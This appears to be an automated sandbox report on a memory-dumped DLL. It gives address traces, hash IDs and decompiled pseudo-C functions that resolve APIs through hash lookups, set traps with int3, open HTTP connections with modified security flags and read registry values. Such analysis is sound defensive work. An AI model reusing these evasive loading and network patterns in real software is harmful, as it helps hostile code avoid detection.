0x6e655ba6
0x6e655ba8
0x00000000
0x00000000
0x6e655ba8
0x6e655c1e
0x6e655c21
0x6e655c24
0x6e655d87
0x6e655d8e
0x6e655ee4
0x6e655ee4
0x6e655d94
0x6e655d9c
0x6e655daa
0x6e655dbd
0x6e655dc4
0x6e655dc9
0x6e655c2a
0x6e655c2a
0x6e655c2d
0x6e655cf0
0x6e655cf3
0x6e655cfb
0x6e655d02
0x6e655d04
0x6e655d07
0x6e655d0a
0x6e655d0d
0x6e655d1b
0x6e655d25
0x6e655d2a
0x6e655d32
0x6e655d34
0x6e655d34
0x6e655d36
0x6e655d3e
0x6e655d43
0x6e655d47
0x6e655d4f
0x6e655d58
0x6e655d58
0x6e655d5d
0x6e655d5e
0x6e655d5e
0x6e655d36
0x6e655d6e
0x6e655d73
0x6e655d7a
0x6e655d7c
0x6e655d80
0x6e655d80
0x6e655d7c
0x6e655c33
0x6e655c33
0x6e655c35
0x6e655c3b
0x6e655c42
0x6e655c58
0x6e655c5a
0x6e655c5e
0x6e655c60
0x6e655c63
0x6e655c66
0x6e655c69
0x6e655c77
0x6e655c81
0x6e655c8d
0x6e655c8f
0x6e655c96
0x6e655c9b
0x6e655ca0
0x6e655ca2
0x6e655ca2
0x6e655ca4
0x6e655ca9
0x6e655cae
0x6e655cb2
0x6e655cba
0x6e655cc3
0x6e655cc3
0x6e655cc8
0x6e655cc9
0x6e655cc9
0x6e655ca4
0x6e655ca0
0x6e655cd3
0x6e655cd8
0x6e655cdc
0x6e655cde
0x6e655ce6
0x6e655ce6
0x6e655c44
0x6e655c44
0x6e655c4f
0x6e655c52
0x00000000
0x00000000
0x6e655c52
0x6e655c42
0x6e655c35
0x6e655c2d
0x6e655dd5
0x6e655de1
0x6e655ded
0x6e655df9
0x6e655dfe
0x6e655e0a
0x6e6557bb
0x6e6557c2
0x6e6557c4
0x00000000
0x6e6557ca
0x6e6557ca
0x6e6557cc
0x00000000
0x6e6557d2
0x6e6557dc
0x6e6557e4
0x6e6557e7
0x6e6557f5
0x6e655809
0x6e65580b
0x6e65580d
0x6e655813
0x6e655813
0x6e65581a
0x6e655821
0x6e655821
0x6e655823
0x6e655828
0x6e655834
0x6e655844
0x6e655849
0x6e65584e
0x6e655854
0x6e655854
0x6e655859
0x6e65585e
0x6e655863
0x6e65586a
0x6e65586e
0x6e655873
0x6e655878
0x6e655888
0x6e65588d
0x6e655896
0x6e6558b7
0x6e6558be
0x6e6558d0
0x6e6558df
0x6e6558e4
0x6e6558e6
0x00000000
0x00000000
0x6e655996
0x6e655996
0x6e6558ec
0x6e6558ed
0x6e6558ee
0x6e6558ef
0x6e6558f0
0x6e6558f2
0x6e6558f3
0x6e6558f4
0x6e6558f5
0x6e6558f9
0x6e6558fd
0x6e6558fe
0x6e6558fe
0x6e6557cc
0x6e6557c4
0x6e655658
0x6e65565f
0x6e65566b
0x6e655677
0x6e655683
0x6e655688
0x6e655694
0x6e655694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6E65562E

Strings

)V, xrefs: 6E6555D2

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: 7aa5cbb017f06a133bac50f8eef9d1845a4becd6164d076cbe746d7a934b0c8f
Instruction ID: 375066cd571c4f2345e92eada33e5ea7447924f154523cf87244ad1bfb8a33f9
Opcode Fuzzy Hash: 7aa5cbb017f06a133bac50f8eef9d1845a4becd6164d076cbe746d7a934b0c8f
Instruction Fuzzy Hash: BB01793122D2D18BC732ABE5C8A47DEB3E9EF86304F400C2EC595562A1DF705A55CB57

Uniqueness

Uniqueness Score: -1.00%

Function 6E661030, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6E661030() {
				void* _v20;
				void* _t4;
				intOrPtr* _t9;
				void* _t11;

				if( *0x6e68b1e0 == 0xe99c89bf) {
					_t9 = E6E6615C0(0x588ab3ea, 0xc0b67de0);
					 *0x6e68b1e4 = E6E6615C0(0x588ab3ea, 0x82d274c4);
					if( *0x6e68b1e0 == 0xe99c89bf) {
						 *_t9(2, 0, 0, 0, 0, 0); // executed
						 *0x6e68b1e0 = 0;
					}
				}
				_t4 = E6E6615C0(0x588ab3ea, 0x996e050f);
				if(_t4 == 0) {
					return 0;
				} else {
					_t1 = _t11 + 8; // 0x6e666c6a
					_push( *_t1);
					_push(8);
					_push( *0x6e68b1e0);
					asm("int3");
					return _t4;
				}
			}

0x6e66103b
0x6e661073
0x6e661084
0x6e661093
0x6e66109e
0x6e6610a0
0x6e6610a0
0x6e661093
0x6e661047
0x6e66104e
0x6e661063
0x6e661050
0x6e661050
0x6e661050
0x6e661054
0x6e661056
0x6e66105c
0x6e66105d
0x6e66105d

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,588AB3EA,82D274C4,588AB3EA,C0B67DE0,?,6E668864,00000000,00000000,00000000,?), ref: 6E66109E

Strings

jlfn, xrefs: 6E661050

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID: jlfn
API String ID: 10892065-2915007041
Opcode ID: a2842be7273fe43d827381a17d1ef006753c585d41bc2a0aa103b83aed48d04c
Instruction ID: d092437a9f2e1b51d9a5066f79c0567b7195ce985835796fc2a674e061f00b2c
Opcode Fuzzy Hash: a2842be7273fe43d827381a17d1ef006753c585d41bc2a0aa103b83aed48d04c
Instruction Fuzzy Hash: 83F0A77C0A4A4ABEEF508AF34C49AAF37D8EB036D8F000819E54DD8695FF204514837B

Uniqueness

Uniqueness Score: -1.00%

Function 6E683370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6E683370(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t102;
				signed int _t109;
				signed int _t118;
				signed int _t119;
				intOrPtr* _t128;
				signed int _t129;
				intOrPtr _t151;
				signed int _t153;
				signed int _t154;
				intOrPtr _t155;
				void* _t158;
				WCHAR* _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				void* _t164;
				signed int _t165;
				WCHAR* _t166;
				void* _t167;
				void* _t169;
				short _t172;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t180;
				signed int _t181;
				signed int _t209;
				signed int _t226;
				signed int _t228;
				signed int _t229;
				intOrPtr _t230;
				signed int _t240;
				void* _t241;
				WCHAR* _t244;
				intOrPtr* _t249;
				void* _t253;
				short* _t254;

				_t254 = _t253 - 0x60;
				_t244 = 0;
				_t249 = __ecx;
				 *_t254 = 0;
				E6E6706A0( &(_t254[4]), __ecx, 0);
				E6E6706A0( &(_t254[8]), __ecx, 0);
				E6E6706A0( &(_t254[0xc]), __ecx, 0);
				E6E6706A0( &(_t254[0x10]), __ecx, 0);
				E6E684D50( &(_t254[2]),  *(_t254[0x3a]));
				_t172 =  *_t254;
				E6E668810( &(_t254[0x1e]), 0);
				E6E6687A0( &(_t254[0x20]));
				E6E6687A0( &(_t254[0x24]));
				_t102 = E6E670220( &(_t254[0x20]), _t254[0x26], 0);
				E6E6687A0( &(_t254[0x28]));
				E6E670220(_t102, _t254[0x2a], 0);
				E6E668CA0( &(_t254[0x28]));
				E6E668CA0( &(_t254[0x24]));
				if(E6E671000( &(_t254[2])) == 0) {
					_t242 = _t254[2];
					_t169 = E6E67D620(_t242, E6E676040(_t254[2], 0x7fffffff));
					if(_t169 != 0x97780db2) {
						__eflags = _t169 - 0x3ef665a6;
						if(_t169 == 0x3ef665a6) {
							 *(_t249 + 0x18) = 1;
						}
					} else {
						 *(_t249 + 0x18) = 0;
					}
				}
				if(E6E6615C0(0xd27f045a, 0xe214cde) == 0) {
					__eflags =  *((char*)(_t249 + 0xc));
					if( *((char*)(_t249 + 0xc)) == 0) {
						L71:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = 0;
						goto L17;
					} else {
						_t180 =  *(_t249 + 8);
						__eflags = _t180;
						if(_t180 == 0) {
							L67:
							_t162 = 1;
						} else {
							__eflags = _t180 - 0xffffffff;
							if(_t180 == 0xffffffff) {
								goto L67;
							} else {
								_t162 = _t244;
							}
						}
						__eflags = _t162;
						if(_t162 != 0) {
							goto L71;
						} else {
							_t163 = E6E6615C0(0xd27f045a, 0xdda3415f);
							__eflags = _t163;
							if(_t163 == 0) {
								goto L71;
							} else {
								_push(_t180);
								asm("int3");
								return _t163;
							}
						}
					}
				} else {
					_t164 =  *0x6e68b248; // 0xcc0004
					_t165 = InternetConnectW(_t164, _t254[0x2c], _t172, _t244, _t244, 3, _t244, _t244); // executed
					_t181 = _t165;
					if( *((char*)(_t249 + 0xc)) == 0) {
						L14:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = _t181;
						__eflags = _t181;
						if(_t181 == 0) {
							L17:
							_t109 = 1;
						} else {
							__eflags = _t181 - 0xffffffff;
							if(_t181 == 0xffffffff) {
								goto L17;
							} else {
								_t109 = _t244;
							}
						}
						__eflags = _t109;
						if(_t109 != 0) {
							 *_t249 = E6E667F00();
							E6E668CA0( &(_t254[0x20]));
							E6E668CA0( &(_t254[0x1c]));
							E6E670B10( &(_t254[0xe]));
							E6E670B10( &(_t254[0xa]));
							E6E670B10( &(_t254[6]));
							E6E670B10( &(_t254[2]));
							__eflags = 0;
							return 0;
						} else {
							__eflags =  *(_t249 + 0x18) - 1;
							if( *(_t249 + 0x18) == 1) {
								_t254[0x2c] = 0x80a03200;
							} else {
								_t254[0x2c] = 0x80203200;
							}
							_t118 = E6E6615C0(0xd27f045a, 0x8813e141);
							__eflags = _t118;
							if(_t118 == 0) {
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L62:
									 *((char*)(_t249 + 0x14)) = 1;
									_t174 = _t244;
									 *(_t249 + 0x10) = 0;
									goto L34;
								} else {
									_t177 =  *(_t249 + 0x10);
									__eflags = _t177;
									if(_t177 == 0) {
										L58:
										_t153 = 1;
									} else {
										__eflags = _t177 - 0xffffffff;
										if(_t177 == 0xffffffff) {
											goto L58;
										} else {
											_t153 = _t244;
										}
									}
									__eflags = _t153;
									if(_t153 != 0) {
										goto L62;
									} else {
										_t154 = E6E6615C0(0xd27f045a, 0xdda3415f);
										__eflags = _t154;
										if(_t154 == 0) {
											goto L62;
										} else {
											_push(_t177);
											asm("int3");
											return _t154;
										}
									}
								}
							} else {
								_t155 =  *((intOrPtr*)(_t249 + 0x1c));
								__eflags = _t155 - 1;
								_t156 =  !=  ? _t244 : _t155;
								E6E667B30(_t155 - 1,  &(_t254[0x18]), 0x6e68aa40,  !=  ? _t244 : _t155);
								_t158 = HttpOpenRequestW( *(_t249 + 8), _t254[0x24], _t254[0x26], _t244, _t244, _t244, _t254[0x2e], _t244); // executed
								_t179 = _t158;
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L31:
									 *(_t249 + 0x10) = _t179;
									 *((char*)(_t249 + 0x14)) = 1;
									E6E668CA0( &(_t254[0x18]));
									_t174 =  *(_t249 + 0x10);
									__eflags = _t174;
									if(_t174 == 0) {
										L34:
										_t119 = 1;
									} else {
										__eflags = _t174 - 0xffffffff;
										if(_t174 == 0xffffffff) {
											goto L34;
										} else {
											_t119 = _t244;
										}
									}
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t249 = E6E667F00();
										E6E668CA0( &(_t254[0x20]));
										E6E668CA0( &(_t254[0x1c]));
										E6E670B10( &(_t254[0xe]));
										E6E670B10( &(_t254[0xa]));
										E6E670B10( &(_t254[6]));
										E6E670B10( &(_t254[2]));
										__eflags = 0;
										return 0;
									} else {
										_t128 =  *0x6e68b244; // 0xb7b294eb
										__eflags = _t128 - 0xb7b294eb;
										if(_t128 != 0xb7b294eb) {
											E6E682760( &(_t254[0x18]),  *_t128, 0xffffffff);
											_t151 =  *0x6e68b27c; // 0x0
											while(1) {
												__eflags =  *(_t151 + _t244 * 8);
												if( *(_t151 + _t244 * 8) == 0) {
													break;
												}
												_t244 =  &(_t244[0]);
												__eflags = _t244 - 0x1000;
												if(_t244 < 0x1000) {
													continue;
												}
												L40:
												E6E682810(_t151,  &(_t254[0x14]));
												goto L41;
											}
											 *(_t151 + _t244 * 8) = _t174;
											_t151 = E6E6610E0(0);
											_t230 =  *0x6e68b27c; // 0x0
											 *((intOrPtr*)(_t230 + 4 + _t244 * 8)) = _t151;
											goto L40;
										}
										L41:
										_t129 =  *(_t249 + 0x40);
										__eflags = _t129;
										if(_t129 != 0) {
											_t254[0x12] = _t129 * 0x3e8;
											_t228 = E6E6615C0(0xd27f045a, 0x863455c4);
											__eflags = _t228;
											if(_t228 != 0) {
												 *_t228( *(_t249 + 0x10), 5,  &(_t254[0x12]), 4);
											}
											_t229 = E6E6615C0(0xd27f045a, 0x863455c4);
											__eflags = _t229;
											if(_t229 != 0) {
												 *_t229( *(_t249 + 0x10), 6,  &(_t254[0x12]), 4);
											}
										}
										_t254[0x2e] = 4;
										_t209 = E6E6615C0(0xd27f045a, 0x9217c72);
										__eflags = _t209;
										if(_t209 != 0) {
											 *_t209( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]),  &(_t254[0x2e]));
										}
										_t254[0x2c] = _t254[0x2c] | 0x00003380;
										_t226 = E6E6615C0(0xd27f045a, 0x863455c4);
										__eflags = _t226;
										if(_t226 != 0) {
											 *_t226( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]), _t254[0x2e]);
										}
										E6E668CA0( &(_t254[0x20]));
										E6E668CA0( &(_t254[0x1c]));
										E6E670B10( &(_t254[0xe]));
										E6E670B10( &(_t254[0xa]));
										E6E670B10( &(_t254[6]));
										E6E670B10( &(_t254[2]));
										return 1;
									}
								} else {
									_t240 =  *(_t249 + 0x10);
									__eflags = _t240;
									if(_t240 == 0) {
										L27:
										_t160 = 1;
									} else {
										__eflags = _t240 - 0xffffffff;
										if(_t240 == 0xffffffff) {
											goto L27;
										} else {
											_t160 = _t244;
										}
									}
									__eflags = _t160;
									if(_t160 != 0) {
										goto L31;
									} else {
										_t161 = E6E6615C0(0xd27f045a, 0xdda3415f);
										__eflags = _t161;
										if(_t161 == 0) {
											goto L31;
										} else {
											_push(_t240);
											asm("int3");
											return _t161;
										}
									}
								}
							}
						}
					} else {
						_t241 =  *(_t249 + 8);
						if(_t241 == 0 || _t241 == 0xffffffff) {
							_t166 = 1;
						} else {
							_t166 = _t244;
						}
						if(_t166 != 0) {
							goto L14;
						} else {
							_t167 = E6E6615C0(0xd27f045a, 0xdda3415f);
							if(_t167 == 0) {
								goto L14;
							} else {
								_push(_t241);
								asm("int3");
								return _t167;
							}
						}
					}
				}
			}

0x6e683374
0x6e683377
0x6e68337d
0x6e68337f
0x6e683389
0x6e683394
0x6e68339f
0x6e6833aa
0x6e6833b4
0x6e6833b9
0x6e6833c2
0x6e6833cf
0x6e6833dc
0x6e6833eb
0x6e6833fa
0x6e683407
0x6e683410
0x6e683419
0x6e683429
0x6e68342b
0x6e68343f
0x6e683449
0x6e683454
0x6e683459
0x6e68345b
0x6e68345b
0x6e68344b
0x6e68344b
0x6e68344b
0x6e683449
0x6e683475
0x6e6837cf
0x6e6837d3
0x6e683804
0x6e683804
0x6e683808
0x00000000
0x6e6837d5
0x6e6837d5
0x6e6837d8
0x6e6837da
0x6e6837e5
0x6e6837e5
0x6e6837dc
0x6e6837dc
0x6e6837df
0x00000000
0x6e6837e1
0x6e6837e1
0x6e6837e1
0x6e6837df
0x6e6837ea
0x6e6837ec
0x00000000
0x6e6837ee
0x6e6837f8
0x6e6837fd
0x6e6837ff
0x00000000
0x6e683801
0x6e683801
0x6e683802
0x6e683803
0x6e683803
0x6e6837ff
0x6e6837ec
0x6e68347b
0x6e683486
0x6e68348c
0x6e68348e
0x6e683494
0x6e6834c5
0x6e6834c5
0x6e6834c9
0x6e6834cc
0x6e6834ce
0x6e6834d9
0x6e6834d9
0x6e6834d0
0x6e6834d0
0x6e6834d3
0x00000000
0x6e6834d5
0x6e6834d5
0x6e6834d5
0x6e6834d3
0x6e6834de
0x6e6834e0
0x6e6836e0
0x6e6836e7
0x6e6836f0
0x6e6836f9
0x6e683702
0x6e68370b
0x6e683714
0x6e683719
0x6e683722
0x6e6834e6
0x6e6834e6
0x6e6834ea
0x6e6834f6
0x6e6834ec
0x6e6834ec
0x6e6834ec
0x6e683508
0x6e68350f
0x6e683511
0x6e683788
0x6e68378c
0x6e6837bd
0x6e6837bd
0x6e6837c1
0x6e6837c3
0x00000000
0x6e68378e
0x6e68378e
0x6e683791
0x6e683793
0x6e68379e
0x6e68379e
0x6e683795
0x6e683795
0x6e683798
0x00000000
0x6e68379a
0x6e68379a
0x6e68379a
0x6e683798
0x6e6837a3
0x6e6837a5
0x00000000
0x6e6837a7
0x6e6837b1
0x6e6837b6
0x6e6837b8
0x00000000
0x6e6837ba
0x6e6837ba
0x6e6837bb
0x6e6837bc
0x6e6837bc
0x6e6837b8
0x6e6837a5
0x6e683517
0x6e683517
0x6e68351a
0x6e683524
0x6e68352e
0x6e683544
0x6e683546
0x6e683548
0x6e68354c
0x6e68357d
0x6e68357d
0x6e683584
0x6e683588
0x6e68358d
0x6e683590
0x6e683592
0x6e68359d
0x6e68359d
0x6e683594
0x6e683594
0x6e683597
0x00000000
0x6e683599
0x6e683599
0x6e683599
0x6e683597
0x6e6835a2
0x6e6835a4
0x6e683743
0x6e68374a
0x6e683753
0x6e68375c
0x6e683765
0x6e68376e
0x6e683777
0x6e68377c
0x6e683785
0x6e6835aa
0x6e6835aa
0x6e6835af
0x6e6835b4
0x6e6835be
0x6e6835c3
0x6e6835c8
0x6e6835c8
0x6e6835cc
0x00000000
0x00000000
0x6e6835d2
0x6e6835d3
0x6e6835d9
0x00000000
0x00000000
0x6e6835db
0x6e6835df
0x00000000
0x6e6835df
0x6e683727
0x6e68372a
0x6e68372f
0x6e683735
0x00000000
0x6e683735
0x6e6835e4
0x6e6835e4
0x6e6835e7
0x6e6835e9
0x6e6835f1
0x6e683604
0x6e683606
0x6e683608
0x6e683616
0x6e683616
0x6e683627
0x6e683629
0x6e68362b
0x6e683639
0x6e683639
0x6e68362b
0x6e68363b
0x6e683652
0x6e683654
0x6e683656
0x6e683667
0x6e683667
0x6e683669
0x6e683680
0x6e683682
0x6e683684
0x6e683694
0x6e683694
0x6e68369a
0x6e6836a3
0x6e6836ac
0x6e6836b5
0x6e6836be
0x6e6836c7
0x6e6836d8
0x6e6836d8
0x6e68354e
0x6e68354e
0x6e683551
0x6e683553
0x6e68355e
0x6e68355e
0x6e683555
0x6e683555
0x6e683558
0x00000000
0x6e68355a
0x6e68355a
0x6e68355a
0x6e683558
0x6e683563
0x6e683565
0x00000000
0x6e683567
0x6e683571
0x6e683576
0x6e683578
0x00000000
0x6e68357a
0x6e68357a
0x6e68357b
0x6e68357c
0x6e68357c
0x6e683578
0x6e683565
0x6e68354c
0x6e683511
0x6e683496
0x6e683496
0x6e68349b
0x6e6834a6
0x6e6834a2
0x6e6834a2
0x6e6834a2
0x6e6834ad
0x00000000
0x6e6834af
0x6e6834b9
0x6e6834c0
0x00000000
0x6e6834c2
0x6e6834c2
0x6e6834c3
0x6e6834c4
0x6e6834c4
0x6e6834c0
0x6e6834ad
0x6e683494

APIs

InternetConnectW.WININET(00CC0004,?,00000000,00000000,00000000,00000003,00000000,00000000,D27F045A,0E214CDE,?,00000000,?,00000000,00000000,00000000), ref: 6E68348C
HttpOpenRequestW.WININET(A1310F65,?,?,00000000,00000000,00000000,?,00000000,?,6E68AA40,A1310F65,D27F045A,8813E141), ref: 6E683544

Part of subcall function 6E6610E0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E661124

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConnectHttpInternetOpenRequestUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3503947753-0
Opcode ID: 073f67b952823662b28457494dc01cdeb28d166cf5589ecf8eea8910266e2bad
Instruction ID: dc8c0f2da27411a183232b450d4dd586fc38324a09335420b88b529fb4a2dc46
Opcode Fuzzy Hash: 073f67b952823662b28457494dc01cdeb28d166cf5589ecf8eea8910266e2bad
Instruction Fuzzy Hash: 85C1F870254301ABDB11DFE5CCA4BEFBBA8AF82358F10482DF455862A0EBB1D945C776

Uniqueness

Uniqueness Score: -1.00%

Function 6E67CAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6E67CAE0(void* __ecx) {
				void* __esi;
				intOrPtr _t49;
				int* _t50;
				void* _t52;
				void* _t62;
				int _t99;
				intOrPtr* _t100;
				void* _t101;
				signed short* _t102;
				void* _t129;
				char* _t139;
				void* _t143;
				intOrPtr* _t144;
				intOrPtr* _t146;

				_t143 = __ecx;
				_push(0);
				E6E679350(_t146 + 0x14);
				_t49 =  *((intOrPtr*)(__ecx + 4));
				if(_t49 == 0 || _t49 == 0xffffffff) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				if(_t50 != 0) {
					L11:
					_t99 = 0;
				} else {
					_t139 =  *((intOrPtr*)(_t146 + 0x44));
					if(_t139 == 0 ||  *_t139 != 0) {
						_t129 = _t146 + 8;
						 *((intOrPtr*)(_t129 + 0x18)) = 0;
						 *((intOrPtr*)(_t129 + 0x1c)) = 0;
						E6E6687A0(_t129);
						if(E6E6615C0(0x3ab94787, 0x7c5744d4) != 0) {
							RegQueryValueExW( *(_t143 + 4),  *(_t146 + 0x18), 0, _t146 + 0x20, 0, _t146 + 0x24); // executed
						}
						_t89 =  *(_t146 + 0x24);
						if( *(_t146 + 0x24) != 0) {
							E6E679670(_t146 + 0x14, _t89);
							if(E6E6615C0(0x3ab94787, 0x7c5744d4) != 0) {
								_t142 =  *(_t143 + 4);
								RegQueryValueExW( *(_t143 + 4),  *(_t146 + 8), 0, _t146 + 0x20, E6E679640(_t146 + 0x14, 0), _t146 + 0x24); // executed
							}
							_t99 =  *(_t146 + 0x20);
							E6E668CA0(_t146 + 8);
						} else {
							E6E668CA0(_t146 + 8);
							goto L11;
						}
					} else {
						goto L11;
					}
				}
				if(_t99 == 2) {
					_t100 = E6E6615C0(0xa1310f65, 0x6ad451b6);
					if(_t100 != 0) {
						_t52 = E6E679640(_t146 + 0x14, 0);
						 *_t100(_t52, 0, 0);
						_t101 = 0;
					} else {
						_t101 = 0;
					}
					E6E668810(_t146, _t101);
					_t144 = E6E6615C0(0xa1310f65, 0x6ad451b6);
					if(_t144 != 0) {
						_t62 = E6E679640(_t146 + 0x14, 0);
						 *_t144(_t62,  *((intOrPtr*)(_t146 + 4)), _t101);
					}
					E6E6688C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
					E6E668CA0(_t146);
					E6E679510(_t146 + 0x10);
					return  *((intOrPtr*)(_t146 + 0x40));
				} else {
					if(_t99 != 7) {
						if(_t99 != 1) {
							E6E668810( *((intOrPtr*)(_t146 + 0x44)), 0);
							E6E679510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						} else {
							E6E668AB0( *((intOrPtr*)(_t146 + 0x48)), E6E679640(_t146 + 0x14, 0), 0);
							E6E679510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						}
					} else {
						E6E668810(_t146 + 4, 0);
						_t102 = E6E679640(_t146 + 0x14, 0);
						while(( *_t102 & 0x0000ffff) != 0) {
							if(E6E670180( *_t146, 0x7fffffff, _t142) != 0) {
								E6E6696D0(_t146 + 4, 0xa);
							}
							E6E668AB0(_t146 + 0x30, _t102, 0);
							E6E670220(_t146 + 8,  *((intOrPtr*)(_t146 + 0x2c)), 0);
							_t102 = _t102 + 2 + E6E670180( *((intOrPtr*)(_t146 + 0x28)), 0x7fffffff, _t142) * 2;
							E6E668CA0(_t146 + 0x28);
						}
						E6E6688C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
						E6E668CA0(_t146);
						E6E679510(_t146 + 0x10);
						return  *((intOrPtr*)(_t146 + 0x40));
					}
				}
			}

0x6e67cae6
0x6e67cae8
0x6e67caee
0x6e67caf3
0x6e67caf8
0x6e67cb03
0x6e67caff
0x6e67caff
0x6e67caff
0x6e67cb0a
0x6e67cb6b
0x6e67cb6b
0x6e67cb0c
0x6e67cb0c
0x6e67cb12
0x6e67cb1b
0x6e67cb1f
0x6e67cb22
0x6e67cb25
0x6e67cb3d
0x6e67cb54
0x6e67cb54
0x6e67cb56
0x6e67cb5c
0x6e67cd05
0x6e67cd1d
0x6e67cd1f
0x6e67cd42
0x6e67cd42
0x6e67cd44
0x6e67cd4c
0x6e67cb62
0x6e67cb66
0x00000000
0x6e67cb66
0x00000000
0x00000000
0x00000000
0x6e67cb12
0x6e67cb70
0x6e67cc84
0x6e67cc88
0x6e67cc94
0x6e67cca0
0x6e67cca2
0x6e67cc8a
0x6e67cc8a
0x6e67cc8a
0x6e67cca8
0x6e67ccbc
0x6e67ccc0
0x6e67ccc8
0x6e67ccd3
0x6e67ccd3
0x6e67ccdd
0x6e67cce5
0x6e67ccee
0x6e67ccfd
0x6e67cb76
0x6e67cb79
0x6e67cc25
0x6e67cc5a
0x6e67cc63
0x6e67cc72
0x6e67cc27
0x6e67cc39
0x6e67cc42
0x6e67cc51
0x6e67cc51
0x6e67cb7f
0x6e67cb85
0x6e67cb95
0x6e67cb9c
0x6e67cbad
0x6e67cbb5
0x6e67cbb5
0x6e67cbc1
0x6e67cbd0
0x6e67cbe7
0x6e67cbeb
0x6e67cbf3
0x6e67cbff
0x6e67cc07
0x6e67cc10
0x6e67cc1f
0x6e67cc1f
0x6e67cb79

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,3AB94787,7C5744D4,00000000), ref: 6E67CB54

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction ID: e16c93064829a3b9ba88653b0c056f8d78aed904427203e7f3ea6d5cf37dcac9
Opcode Fuzzy Hash: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction Fuzzy Hash: 57617370218201ABEB54DFA4CC91FABB3ECAF95748F100D2DF5969A1A0EF21ED44C756

Uniqueness

Uniqueness Score: -1.00%

Function 6E67C790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6E67C790(void* __ecx, void* __edx) {
				intOrPtr _t21;
				int* _t22;
				char* _t47;
				void* _t50;
				void* _t53;

				 *((intOrPtr*)(_t53 + 0x18)) = 0;
				_t50 = __ecx;
				_push(0);
				E6E679350(_t53 + 4);
				_t21 =  *((intOrPtr*)(__ecx + 4));
				if(_t21 == 0 || _t21 == 0xffffffff) {
					_t22 = 1;
				} else {
					_t22 = 0;
				}
				if(_t22 != 0) {
					L10:
					E6E679510(_t53);
					return  *((intOrPtr*)(_t53 + 0x18));
				} else {
					_t47 =  *(_t53 + 0x2c);
					if(_t47 == 0 ||  *_t47 != 0) {
						 *(_t53 + 0x10) = 0;
						 *(_t53 + 0x14) = 0;
						if(E6E6615C0(0x3ab94787, 0x8883f185) != 0) {
							RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, 0, _t53 + 0x14); // executed
						}
						_t26 =  *(_t53 + 0x14);
						if( *(_t53 + 0x14) != 0) {
							E6E679670(_t53 + 4, _t26);
							if(E6E6615C0(0x3ab94787, 0x8883f185) != 0) {
								RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, E6E679640(_t53 + 4, 0), _t53 + 0x14); // executed
							}
							if( *(_t53 + 0x10) == 4) {
								E6E6797D0(_t53 + 8, _t53 + 0x18, 4);
							}
						}
					}
					goto L10;
				}
			}

0x6e67c798
